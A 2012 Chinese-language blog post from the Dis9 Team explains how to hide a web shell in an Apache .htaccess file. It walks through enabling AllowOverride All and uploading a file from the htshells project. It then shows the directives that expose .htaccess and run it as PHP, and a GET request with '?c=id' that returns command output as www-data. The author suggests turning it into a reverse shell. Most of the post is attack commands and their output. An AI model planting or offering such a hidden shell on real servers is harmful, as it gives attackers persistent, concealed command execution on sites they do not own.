

how to use the .htaccess shell attack

2012-01-11 14:52:10 By brk

貌似关于SHELL的东西大家表示很喜欢，很可爱，很快乐，下面小菜再介绍一种隐藏SHELL的方法，.htaccess攻击

这个必须是APACHE的服务器哦

亲们，现在来编辑APACHE配置文件，目标系统：centos5.6 apache2

```
[root@localhost ~]# vi /etc/httpd/conf/httpd.conf
```

让APACHE支持.htaccess

```
<Directory /var/www/>  
    Options Indexes FollowSymLinks MultiViews  
    AllowOverride All  
    Order allow,deny  
    allow from all  
</Directory>
```

重启APACHE服务，然后上传这个文件到WEB服务器跟目录，下载这个文件：

[htaccess.txt](#)

下载以后上传的名字要是：.htaccess

然后我们运行命令：

```
brk@Dis9Team: ~  
brk@Dis9Team:~$ GET http://127.0.0.1/.htaccess?c=id  
# Self contained .htaccess web shell - Part of the htshell project  
# Written by Wireghoul - http://www.justanotherhacker.com  
  
# Override default deny rule to make .htaccess file accessible over web  
<Files ~ "^\.ht">  
    Order allow,deny  
    Allow from all  
</Files>  
  
# Make .htaccess file be interpreted as php file. This occur after apache has in  
terpreted  
# the apache directoves from the .htaccess file  
AddType application/x-httpd-php .htaccess  
  
##### SHELL #####  
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
##### LLEHS #####  
  
brk@Dis9Team:~$
```

当然了，你可以自己修改其中的代码，搞个什么反向SHELL的

更多的看这里：<https://github.com/wireghoul/htshells>

版权声明：

本站遵循 [署名-非商业性使用-相同方式共享 2.5](#) 共享协议。

转载请注明转自 [Dis9 Team](#) 并标明URL。

本文链接：<http://www.dis9.com/?p=2505>